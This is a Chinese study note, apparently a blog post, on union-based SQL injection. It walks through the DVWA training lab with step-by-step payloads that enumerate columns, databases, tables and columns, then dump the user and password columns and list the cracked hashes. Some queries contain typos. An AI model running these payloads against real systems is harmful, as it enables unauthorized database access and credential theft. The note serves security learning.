SQL注入

一、概述

1)、什么是sql以及sql注入?

sql:原名为Structured Query Language,用于处理和网文数据库的计算机语言。

sql注入:

sql注入语句:SELECT first-name,last-name FROM uers WHERE user-id = '1';

2)、注入类型

二、详述

1)、联合查询

大意:构造联合查询语句(union),直接查看查询结果

原理:代码中未对用户的输入进行检查就直接拼接到语句中

方法:(以下皆是忽略sql语段中的引号,默认已经添上)

①查询sql语句中的字段数(列数):输入 1' or 1=1 order by 1 #

②确定各字段在第几列方便指定列的输出:

select * from uers union select 1,2 union select 3,4...

-->将users 表单中的1,2表格和3,4表格按照前后顺序拼在一起显现(所有列数变成一列),必须保证列数相同。

③获取当前数据库名:1' union select 1,database() #(将这一列的数据联合输出)

④获取当前数据库的表名:

1' union select 1,group_concat(table_name) from information_schema.table where table_shema = database() #

(.表示下一级,此时查的是某个数据库里所有表单的名字,红色字体可以改变)

-->group_concat:将所有查询到该列下的行用”,“连接并一起显示出来。而后所接的table_name是一个列名

-->information_schema:信息数据库,包含着MySQL服务器所维护的其他信息库的所以信息

-->schema表:提供当前MySQL实例中的所有数据库的信息

-->table表:提供关于数据库中的表信息

-->column表:提供表中的列信息

例题:dvwa low-sql

从1开始变化n的值输入1' order by n #,当n等于3时出现不同,说明有两列即两个注入点

输入 1' union select 1,2 #

将表格1,2的数据联合起来显示

输入 1' union select 1,database() # 爆出MySQL中的所有数据库的名字

输入 1' union select 1,group_concat(hex(table_name)) from information_schema.tables where table_schema = 'dvwa' #

将dvwa数据库中的information表单下存有的所有表单的名字联合在一起输出来,并用hex将结果转化成十六进制(union只能连接数类型相同的数据,否则就会出现illegal报错,用十六进制可以绕过这个问题)

解码-->guestbook,users

输入 1' union select 1,group_concat(hex(column_name)) from information_schema.columns where table_schema = 'users' #

将名为users的表单中所有列的名字爆出来

ps:由于截屏长度原因此处并没有截完

解码-->user_id,first_name,last_name,uaer,password,avatar,last-login

输入 1' union select user,password from users #

将users表单中user列和password列的数据联合爆出来

md5解码-->password,abc123,charley,letwein,password

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值